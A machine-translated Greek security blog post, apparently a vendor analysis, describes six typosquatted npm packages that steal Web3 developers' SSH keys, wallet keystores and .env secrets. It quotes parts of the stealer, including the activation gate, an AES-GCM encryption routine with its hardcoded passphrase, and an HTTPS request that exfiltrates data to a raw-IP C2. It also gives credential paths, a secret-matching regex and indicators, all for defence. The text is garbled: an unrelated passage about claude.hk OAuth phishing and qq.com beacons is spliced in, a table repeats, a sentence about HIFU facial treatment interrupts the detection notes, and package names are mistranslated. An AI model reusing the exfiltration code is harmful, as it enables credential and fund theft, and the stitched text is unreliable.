Η επίθεση EVMDeFi npm Typosquatting κλέβει τα κλειδιά των προγραμματιστών

Η επίθεση EVM/DeFi npm Typosquatting κλέβει τα κλειδιά των προγραμματιστών

Πίνακας περιεχομένων

Αναρτήσεις που πρέπει να διαβάσετε

Τελευταίες αναρτήσεις ενδιαφέροντος

TL? DR

Στις 6 Μαΐου 2026, ένας μόνο εκδότης του npm, namikazesarada010206, προώθησε έξι κακόβουλα πακέτα που στοχεύουν το οικοσύστημα προγραμματιστών Ethereum, Solidity και DeFi.

Τα πακέτα, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsκαι web3-utils-core, χρησιμοποίησαν εύλογα ονόματα σχεδιασμένα να μοιάζουν με βοηθητικές βιβλιοθήκες για δημοφιλή εργαλεία Web3.

Και τα έξι πακέτα περιείχαν το ίδιο telemetry.js αρχείο. Το αρχείο ήταν πανομοιότυπο με byte σε όλο το σύμπλεγμα, με SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Το κακόβουλο λογισμικό δεν εκτελείται κατά την εγκατάσταση. Δεν υπάρχει preinstall or postinstall γάντζο. Αντίθετα, ενεργοποιείται όταν το πακέτο εισάγεται μέσω require().

Αυτή η λεπτομέρεια έχει σημασία.

Το εμφύτευμα περιμένει μέχρι ένας προγραμματιστής να χρησιμοποιήσει πραγματικά το πακέτο. Στη συνέχεια, ελέγχει αν ο σταθμός εργασίας μοιάζει με ένα πραγματικό περιβάλλον ανάπτυξης Ethereum / Solidity. Αναζητά κλειδιά Alchemy ή Infura, ιδιωτικά κλειδιά, μνημονικά στοιχεία, κλειδιά ανάπτυξης ή έναν τοπικό κατάλογο Foundry.

Εάν ο κεντρικός υπολογιστής ταιριάζει, ο κλέφτης συλλέγει ιδιωτικά κλειδιά SSH, αποθηκευτικά κλειδιά πορτοφολιού Foundry / Geth / Brownie, .env* αρχεία και ευαίσθητες μεταβλητές περιβάλλοντος. Κρυπτογραφεί το πακέτο με AES-256-GCM χρησιμοποιώντας μια κωδικοποιημένη φράση πρόσβασης και το αποστέλλει σε ένα ακατέργαστο τελικό σημείο IPv4 C2 με απενεργοποιημένη την επαλήθευση TLS.

Το σύστημα έγκαιρης προειδοποίησης κακόβουλου λογισμικού (MEW) του Xygeni επιβεβαίωσε και τα έξι πακέτα ως κακόβουλα. Η δέσμη αναφορών κατάργησης του μητρώου npm εκκρεμεί.

Το Σύμπλεγμα: Έξι Πακέτα, Ένας Εκδότης

Ο λογαριασμός του εκδότη namikazesarada010206 συνδέθηκε με τη μη επαληθευμένη διεύθυνση Gmail namikazesarada010206@gmail.com.

Η καμπάνια εμφανίστηκε ως μια μονοήμερη δημοσίευση στις 6 Μαΐου 2026. Και τα έξι πακέτα είχαν εκδόσεις ως 1.0.0, δεν είχε καμία εξάρτηση από το χρόνο εκτέλεσης και απέστειλε μόνο τρία αρχεία:

package.json index.js telemetry.js

Δήλωσαν επίσης το ίδιο αποθετήριο πηγαίου κώδικα:

https://github.com/harunosakura030303-maker/evmchain-config

Τα πρώτα τρία πακέτα εντοπίστηκαν από σαρωτές MEW κατά την πρώτη δημοσίευση. Τα υπόλοιπα τρία επισημάνθηκαν με υποχρεωτική σήμανση μετά από έλεγχο αναλυτών του προφίλ npm του εκδότη. Μόλις το ίδιο byte ήταν πανομοιότυπο telemetry.js επιβεβαιώθηκε σε ολόκληρο το σύμπλεγμα, έκλεισαν ως κακόβουλα λόγω συνέπειας.

Πακέτο Έκδοση npm Δημοσιεύτηκε Εισιτήριο MEW Ετυμηγορία
πυρήνας viem 1.0.0 2026-05-06 01:38:44Z #51049 Κακόβουλες
viem-utils-core 1.0.0 2026-05-06 #51050 Κακόβουλες
βοηθητικά προγράμματα πυρήνα-hardhat 1.0.0 2026-05-06 #51051 Κακόβουλες
evm-utils 1.0.0 2026-05-06 #51069 Κακόβουλος, λόγω συνέπειας
χυτήριο-χρησιμοποιήσιμα 1.0.0 2026-05-06 #51071 Κακόβουλος, λόγω συνέπειας
web3-utils-core 1.0.0 2026-05-06 #51070 Κακόβουλος, λόγω συνέπειας

Η στρατηγική ονομασίας είναι απλή αλλά αποτελεσματική.

Αυτά τα πακέτα δεν μιμούνται ακριβή ονόματα upstream. Αντίθετα, χρησιμοποιούν εύλογα επιθήματα «utility» όπως -core, -utilsκαι -utils-coreΑυτό τα κάνει να μοιάζουν με συνοδευτικές βιβλιοθήκες που ένας προγραμματιστής θα περίμενε να δει κοντά στα εργαλεία Web3.

Κακόβουλο πακέτο Νόμιμος στόχος
πυρήνας viem viem, ένα δημοφιλές πρόγραμμα-πελάτης Ethereum TypeScript
viem-utils-core βιέμ
βοηθητικά προγράμματα πυρήνα-hardhat hardhat, ένα mainstream περιβάλλον ανάπτυξης Solidity
evm-utils Γενικός χώρος ονομάτων εργαλείων EVM
χυτήριο-χρησιμοποιήσιμα χυτήριο, μια αλυσίδα εργαλείων Solidity
web3-utils-core web3-utils, βοηθοί Web3.js

Αυτό είναι το μοτίβο του «συμπληρωματικού πακέτου»: όχι «Είμαι το πραγματικό πακέτο», αλλά «Μοιάζω με έναν λογικό βοηθό γύρω από το πραγματικό πακέτο».

Για τους προγραμματιστές DeFi που κινούνται γρήγορα, αυτό αρκεί για να δημιουργήσει κίνδυνο.

Τι συμβαίνει όταν εισάγεται το πακέτο

Η αλυσίδα επιθέσεων είναι μικρή, σκόπιμη και επικεντρώνεται σε περιβάλλοντα ανάπτυξης κρυπτονομισμάτων.

Δεν υπάρχει γάντζο εγκατάστασης. Αντίθετα, κάθε συσκευασία περιλαμβάνει ένα index.js που εξάγει τη λειτουργικότητα stub και στη συνέχεια φορτώνει την κακόβουλη μονάδα τηλεμετρίας.

require('./telemetry').init();

Αυτό σημαίνει ότι το κακόβουλο λογισμικό ενεργοποιείται κατά την πρώτη εισαγωγή.

Αυτό είναι λειτουργικά χρήσιμο για τον εισβολέα. Πολλοί σαρωτές και sandboxes εστιάζουν στη συμπεριφορά κατά την εγκατάσταση. Αυτό το πακέτο περιμένει μέχρι να χρησιμοποιηθεί πραγματικά από έναν προγραμματιστή, ένα σενάριο δημιουργίας, μια σουίτα δοκιμών ή μια διαδρομή χρόνου εκτέλεσης.

Πύλη ενεργοποίησης: Ενεργοποίηση μόνο σε πραγματικούς σταθμούς εργασίας προγραμματιστών Web3

Το πιο σημαντικό μέρος του εμφυτεύματος είναι η πύλη ενεργοποίησης.

Το κακόβουλο λογισμικό ελέγχει για μεταβλητές περιβάλλοντος που βρίσκονται συνήθως σε μηχανήματα προγραμματιστών Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Ελέγχει επίσης εάν το Foundry φαίνεται να είναι εγκατεστημένο:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Εάν καμία από τις δύο συνθήκες δεν είναι αληθής, η συνάρτηση επιστρέφει και δεν κάνει τίποτα.

Αυτό κάνει το πακέτο πιο αθόρυβο σε γενικά περιβάλλοντα ανάλυσης. Ένα sandbox χωρίς Foundry, κλειδιά Alchemy, κλειδιά Infura, ιδιωτικά κλειδιά ή μνημονικά μπορεί να έχει μια ακίνδυνη σημασία.

Σε έναν αντίστοιχο κεντρικό υπολογιστή, το κακόβουλο λογισμικό περιμένει 60 έως 90 δευτερόλεπτα πριν από τη συλλογή του:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Η καθυστέρηση μειώνει την προφανή συσχέτιση μεταξύ εισαγωγής και απαγωγής. .unref() Η κλήση επιτρέπει επίσης στη διεργασία κεντρικού υπολογιστή να τερματιστεί κανονικά εάν το πακέτο εισήχθη σε ένα σενάριο βραχείας διάρκειας.

Αυτή δεν είναι μια θορυβώδης συμπεριφορά smash-and-grab. Είναι ένα στοχευμένο stealer που έχει σχεδιαστεί για να αποφεύγει την εκτέλεση, εκτός εάν το περιβάλλον προγραμματιστή αξίζει να το κλέψει κανείς.

Τι συλλέγει ο κλέφτης

Μόλις περάσει η πύλη ενεργοποίησης, το κακόβουλο λογισμικό συλλέγει δεδομένα από πηγές που έχουν τη μεγαλύτερη σημασία στην ανάπτυξη του Web3: ιδιωτικά κλειδιά, αποθηκευτικά κλειδιά πορτοφολιού, διαπιστευτήρια ανάπτυξης, μυστικά cloud, διακριτικά npm και τοπική διαμόρφωση έργου.

Πηγή Τι συλλέγεται
process.env Οποιαδήποτε μεταβλητή που ταιριάζει με /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Αρχεία που περιέχουν PRIVATE KEY ή BEGIN OPENSSH, συμπεριλαμβανομένου του πλήρους περιεχομένου του αρχείου
~/.foundry/κλειδοθήκες/* Αρχεία αποθήκευσης κλειδιών πορτοφολιού Foundry
~/.ethereum/αποθήκευση κλειδιών/* Αρχεία αποθήκευσης κλειδιών πορτοφολιού Geth
~/.brownie/accounts/* Αρχεία αποθήκευσης κλειδιών πορτοφολιού Brownie
${cwd}/.env Πλήρες περιεχόμενο αρχείου
${cwd}/.env.local Πλήρες περιεχόμενο αρχείου
${cwd}/.env.production Πλήρες περιεχόμενο αρχείου
${cwd}/.env.development Πλήρες περιεχόμενο αρχείου
os.hostname() Μεταδεδομένα κεντρικού υπολογιστή
crypto.randomUUID() Αναγνωριστικό θύματος/συνεδρίας
Date.now() Χρονική σήμανση συλλογής
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Τα διακριτικά ATTA είναι:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Δεν έχουμε καταφέρει να επιβεβαιώσουμε εάν η τηλεμετρία ήταν τα ίδια αναλυτικά στοιχεία του χειριστή ή ένα ξεχωριστό κανάλι με δυνατότητα δημιουργίας εσόδων. Τα διακριτικά ATTA είναι τα ίδια και στα δύο δείγματα που εξετάσαμε.

Ομάδα Β: χέιμπαϊ

claude.hk Ηλεκτρονικό ψάρεμα (phishing) OAuth + Παραβίαση ANTHROPIC_BASE_URL

Το δείγμα της 1ης Απριλίου είναι το πιο ωμό, πρώιμο σκέλος της καμπάνιας.

heibai:2.1.88-claude.hk-4 δημοσιεύτηκε από τον wuguoqiangvip28, ένας λογαριασμός που δημιουργήθηκε στις 7 Ιουνίου 2025. Το πακέτο ορίστηκε ρητά ως προς την έκδοση που αντικατοπτρίζει το νόμιμο 2.1.88 Ανθρωπογενής απελευθέρωση.

Δεν ασχολείται με το CA-cert MITM. Αντίθετα, λέει ψέματα στον χρήστη σχετικά με το τελικό σημείο OAuth.

Οι κακόβουλες προσθήκες που προστέθηκαν στον διαρρεύσαντα πηγαίο κώδικα Claude περιλαμβάνουν:

Πηγή Τι συλλέγεται
process.env Οποιαδήποτε μεταβλητή που ταιριάζει με /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Αρχεία που περιέχουν PRIVATE KEY ή BEGIN OPENSSH, συμπεριλαμβανομένου του πλήρους περιεχομένου του αρχείου
~/.foundry/κλειδοθήκες/* Αρχεία αποθήκευσης κλειδιών πορτοφολιού Foundry
~/.ethereum/αποθήκευση κλειδιών/* Αρχεία αποθήκευσης κλειδιών πορτοφολιού Geth
~/.brownie/accounts/* Αρχεία αποθήκευσης κλειδιών πορτοφολιού Brownie
${cwd}/.env Πλήρες περιεχόμενο αρχείου
${cwd}/.env.local Πλήρες περιεχόμενο αρχείου
${cwd}/.env.production Πλήρες περιεχόμενο αρχείου
${cwd}/.env.development Πλήρες περιεχόμενο αρχείου
os.hostname() Μεταδεδομένα κεντρικού υπολογιστή
crypto.randomUUID() Αναγνωριστικό θύματος/συνεδρίας
Date.now() Χρονική σήμανση συλλογής

Η λίστα-στόχος είναι εξαιρετικά συγκεκριμένη. Δεν πρόκειται για γενική κλοπή προγραμμάτων περιήγησης ή για ευρεία συλλογή διαπιστευτηρίων. Απευθύνεται σε προγραμματιστές που δημιουργούν, δοκιμάζουν, αναπτύσσουν ή λειτουργούν εφαρμογές Ethereum.

Η συμπερίληψη των κλειδιών Foundry, Geth και Brownie είναι ιδιαίτερα σημαντική. Αυτά τα αρχεία μπορούν να αντιπροσωπεύουν άμεση πρόσβαση σε πορτοφόλια ή ταυτότητες ανάπτυξης. Εάν ο εισβολέας μπορεί να τα αντιστοιχίσει με κωδικούς πρόσβασης, μνημονικά στοιχεία ή μυστικά περιβάλλοντος, ενδέχεται να είναι σε θέση να μετακινήσει κεφάλαια, να μιμηθεί τους προγραμματιστές ή να θέσει σε κίνδυνο λειτουργίες έξυπνων συμβολαίων.

Κρυπτογράφηση πριν από την εξαγωγή

Το κακόβουλο λογισμικό κρυπτογραφεί τα δεδομένα που συλλέγονται πριν τα στείλει.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Η κωδικοποιημένη φράση πρόσβασης είναι:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Το τελικό ωφέλιμο φορτίο αναδιπλώνεται ως JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Η κρυπτογράφηση δεν καθιστά το κακόβουλο λογισμικό πιο προηγμένο από μόνη της. Ωστόσο, δυσκολεύει την επιθεώρηση δικτύου. Ένας αμυντικός που παρακολουθεί την έξοδο θα δει ένα ωφέλιμο φορτίο JSON, αλλά όχι τα κλεμμένα κλειδιά, τα αρχεία πορτοφολιού ή .env περιεχόμενα χωρίς την ενσωματωμένη φράση πρόσβασης και τη λογική αποκρυπτογράφησης.

Εξαγωγή σε ένα Raw IPv4 C2

Η διαδρομή εκδιήθησης είναι κωδικοποιημένη με σκληρό κώδικα:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Το κακόβουλο λογισμικό στέλνει δεδομένα σε:

https://76.13.37.80:8443/api/v1/telemetry

Δύο λεπτομέρειες ξεχωρίζουν.

Καταρχάς, το C2 είναι μια ακατέργαστη διεύθυνση IPv4 και όχι ένας τομέας. Αυτό καταργεί την ανάγκη για καταχώριση τομέα και αποφεύγει ορισμένες ανιχνεύσεις που βασίζονται σε τομέα.

Δεύτερον, η επαλήθευση TLS απενεργοποιείται με:

rejectUnauthorized: false

Αυτό επιτρέπει στο κακόβουλο λογισμικό να αποδέχεται οποιοδήποτε πιστοποιητικό, συμπεριλαμβανομένων των αυτο-υπογεγραμμένων πιστοποιητικών. Με άλλα λόγια, ο εισβολέας λαμβάνει κρυπτογραφημένη μεταφορά χωρίς να χρειάζεται ένα έγκυρο δημόσιο πιστοποιητικό.

Δεν υπάρχει λογική επανάληψης και δεν υπάρχει εφεδρικός κεντρικός υπολογιστής. Τα σφάλματα απορροφώνται σιωπηλά. Αυτό διατηρεί το πακέτο αθόρυβο εάν το C2 είναι εκτός σύνδεσης ή μη προσβάσιμο.

Γιατί έχει σημασία αυτή η καμπάνια

Τα περισσότερα κακόβουλα πακέτα npm που απευθύνονται σε προγραμματιστές κυνηγούν ευρεία διαπιστευτήρια: διακριτικά npm, κλειδιά AWS, διακριτικά GitHub ή .npmrc αρχεία.

Αυτή η καμπάνια περιορίζει τον στόχο.

Αναζητά σημάδια ότι το μηχάνημα ανήκει σε έναν προγραμματιστή Ethereum ή Solidity. Στη συνέχεια, εξάγει ακριβώς τα περιουσιακά στοιχεία που έχουν σημασία σε αυτό το περιβάλλον: αποθηκευτικά κλειδιά πορτοφολιού, ιδιωτικά κλειδιά, μνημονικά στοιχεία, κλειδιά ανάπτυξης, .env αρχεία και κλειδιά SSH.

Αυτό καθιστά την καμπάνια πιο επικίνδυνη για τις ομάδες Web3 από ένα γενικό πρόγραμμα κλοπής npm.

Μια επιτυχημένη μόλυνση θα μπορούσε να αποκαλύψει:

  • Πορτοφόλια ανάπτυξης
  • Κλειδιά διαχειριστή έξυπνων συμβολαίων
  • Κλειδιά παρόχου RPC
  • Διαπιστευτήρια ανάπτυξης cloud
  • διακριτικά δημοσίευσης npm
  • Πρόσβαση SSH σε υποδομή προγραμματιστή ή κατασκευής
  • Τα μυστικά του έργου είναι αποθηκευμένα σε .env αρχεία
  • Αποθηκευτικοί χώροι κλειδιών πορτοφολιού για Foundry, Geth ή Brownie

Τα ονόματα των πακέτων δείχνουν επίσης σαφή κοινωνική μηχανική. Στοχεύουν στο οικοσύστημα προγραμματιστών Web3 μέσω γνωστών ονομάτων εργαλείων: viem, hardhat, foundry, evmκαι web3.

Ο ηθοποιός δεν χρειάζεται να θέσει σε κίνδυνο τα πραγματικά έργα. Χρειάζεται μόνο έναν προγραμματιστή για να εγκαταστήσει αυτό που μοιάζει με ένα λογικό συνοδευτικό πακέτο.

Δείκτες παραβίασης και ανίχνευσης

Πακέτα και Εκδότης
Πεδίο αξία
εκδότης npm namikazesarada010206
Ηλεκτρονικό ταχυδρομείο εκδότη namikazesarada010206@gmail.com
email επαληθευμένο Οχι
SCM επαληθεύεται Οχι
Βαθμολογία φήμης 1.0
Πακέτα viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
εκδόσεις Όλα 1.0.0
Αποθετήριο πηγαίου κώδικα https://github.com/harunosakura030303-maker/evmchain-config
Επιβεβαιωμένο κακόβουλο Και τα έξι πακέτα
Δίκτυο
Χαρακτηριστικά αξία
Τελικό σημείο C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Θύρα C2 8443/tcp
Συμπεριφορά TLS απόρριψηΜη εξουσιοδοτημένο: ψευδές
Σχήμα ωφέλιμου φορτίου {"v":2,"iv": ,"ρε": "t": }
Αρχεία και hashes
Χαρακτηριστικά αξία
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Διάταξη πακέτου πακέτο.json, index.js, telemetry.js
Αριθμός αρχείων 3
Συνολικό μέγεθος κατά προσέγγιση 3.4 KB

Σήματα ενεργοποίησης

Το κακόβουλο λογισμικό ελέγχει για αυτές τις μεταβλητές περιβάλλοντος:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ελέγχει επίσης για:

~/.foundry/

Στοχευμένες διαδρομές κεντρικού υπολογιστή

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Συλλογή Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Σημειώσεις ανίχνευσης

Αρκετοί κανόνες εντοπίζουν αυτήν την καμπάνια χωρίς να χρειάζεται πλήρης ανάλυση συμπεριφοράς.

Αρχικά, σαρώστε το lockfiles για τα έξι ονόματα κακόβουλων πακέτων:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Οποιοσδήποτε αγώνας στο package-lock.json, yarn.lock, pnpm-lock.yamlΤο HIFU, ή Υψηλής Έντασης Εστιασμένος Υπέρηχος, στοχεύει επίσης στο πρόσωπο και τον λαιμό. Προσφέρει θεραπεία σε γρήγορες εκπομπές, γεγονός που κάνει τις συνεδρίες θεραπείας συντομότερες. node_modules Το ιστορικό θα πρέπει να αντιμετωπίζεται ως σοβαρό γεγονός.

Δεύτερον, παρακολουθήστε για διεργασίες Node.js που διαβάζουν διαδρομές αποθήκευσης κλειδιών πορτοφολιού:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Αυτή σπάνια αποτελεί νόμιμη συμπεριφορά για ένα πακέτο που εισάγεται ως βοηθητική εξάρτηση. Είναι ιδιαίτερα ύποπτη όταν ακολουθείται από εξερχόμενη δραστηριότητα δικτύου.

Τρίτον, αποκλείστε ή ειδοποιήστε τις συνδέσεις HTTPS για:

76.13.37.80:8443

Ειδικά όταν η διαδρομή αιτήματος είναι:

/api/v1/telemetry

Τέταρτον, αναζητήστε πακέτα npm που συνδυάζουν αυτά τα χαρακτηριστικά:

  • Νέος ή χαμηλής φήμης εκδότης
  • Μη επαληθευμένος λογαριασμός Gmail
  • Όνομα πακέτου που γειτνιάζει με το Web3
  • Δεν υπάρχει ουσιαστικό ιστορικό αποθετηρίου
  • Μικροσκοπική διάταξη συσκευασίας
  • index.js που φορτώνει ένα αρχείο τηλεμετρίας ή βοήθειας
  • Δεν υπάρχουν εξαρτήσεις χρόνου εκτέλεσης
  • Συλλογή ευαίσθητων μεταβλητών περιβάλλοντος
  • Πρόσβαση στο χώρο αποθήκευσης κλειδιών του Πορτοφολιού

Αυτό το μοτίβο είναι πιο χρήσιμο από ένα μόνο IOC, επειδή το επόμενο πακέτο μπορεί να αλλάξει τη διεύθυνση IP αλλά να διατηρήσει την ίδια λογική στόχευσης.

Λίστα ελέγχου απόκρισης σε παραβίαση

Εάν ένας προγραμματιστής χρησιμοποίησε ένα από τα έξι πακέτα και το περιβάλλον του ταίριαζε με την πύλη ενεργοποίησης, ο σταθμός εργασίας θεωρήθηκε παραβιασμένος.

Αυτό περιλαμβάνει μηχανήματα με εγκατεστημένο το Foundry, κλειδιά Alchemy ή Infura στο περιβάλλον, ιδιωτικά κλειδιά, μνημονικά ή κλειδιά ανάπτυξης.

Προτεινόμενη απάντηση:

  • Αποσυνδέστε τον κεντρικό υπολογιστή από το δίκτυο.
  • Διατήρηση node_modules, κλειδωμένα αρχεία, ιστορικό κελύφους και σχετικά αρχεία καταγραφής για εγκληματολογία.
  • Εναλλαγή κάθε ζεύγους πλήκτρων SSH κάτω από ~/.ssh/.
  • Εναλλαγή κλειδιών πορτοφολιού για κάθε χώρο αποθήκευσης κλειδιών κάτω από ~/.foundry, ~/.ethereumκαι ~/.brownie.
  • Μεταφέρετε χρήματα σε νέα πορτοφόλια.
  • Περιστρέψτε κάθε μυστικό που είναι αποθηκευμένο στο .env* αρχεία σε αποθετήρια στα οποία εργάστηκε ο προγραμματιστής.
  • Εναλλαγή μυστικών περιβάλλοντος που ταιριάζουν με το regex της συλλογής, συμπεριλαμβανομένων των κλειδιών AWS, των διακριτικών npm, των διακριτικών ανάπτυξης, των κλειδιών API, των ιδιωτικών κλειδιών, των seeds και των μνημονικών.
  • Δραστηριότητα στο cloud ελέγχου, το npm, το GitHub, τον πάροχο RPC και το blockchain από την πρώτη εγκατάσταση του πακέτου.
  • Επανασχεδιάστε την εικόνα του σταθμού εργασίας πριν από την επαναχρησιμοποίηση.

Τι πρέπει να πάρουν μαζί τους οι αμυντικοί

Αυτή η καμπάνια δείχνει πώς εξελίσσεται η τυπογραφική κατάληψη npm γύρω από οικοσυστήματα προγραμματιστών υψηλής αξίας.

Ο ηθοποιός δεν χρειαζόταν επιμονή. Δεν χρειάζονταν συσκότιση. Δεν χρειάζονταν καν εκτέλεση κατά την εγκατάσταση.

Αντίθετα, βασίστηκαν σε τρία πράγματα:

  • Πιθανά ονόματα πακέτων Web3
  • Ενεργοποίηση μόνο σε πραγματικές μηχανές ανάπτυξης κρυπτονομισμάτων
  • Άμεση κλοπή των αρχείων και των μυστικών που έχουν τη μεγαλύτερη σημασία για τους προγραμματιστές του Ethereum

Αυτό καθιστά την καμπάνια εύκολο να χαθεί σε ευρεία σάρωση και επικίνδυνη όταν προσγειώνεται στο σωστό περιβάλλον.

Για τις ομάδες Web3, το μάθημα είναι σαφές: αντιμετωπίστε τα ονόματα εξαρτήσεων ως μέρος του μοντέλου απειλών σας. Ένα πακέτο που μοιάζει με έναν ακίνδυνο βοηθό μπορεί να γίνει η συντομότερη διαδρομή για την παραβίαση του πορτοφολιού.

Αναφέρθηκε στο μητρώο npm. Θα ενημερώσουμε αυτήν την ανάρτηση όταν καταργηθούν ο λογαριασμός εκδότη και τα πακέτα.

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite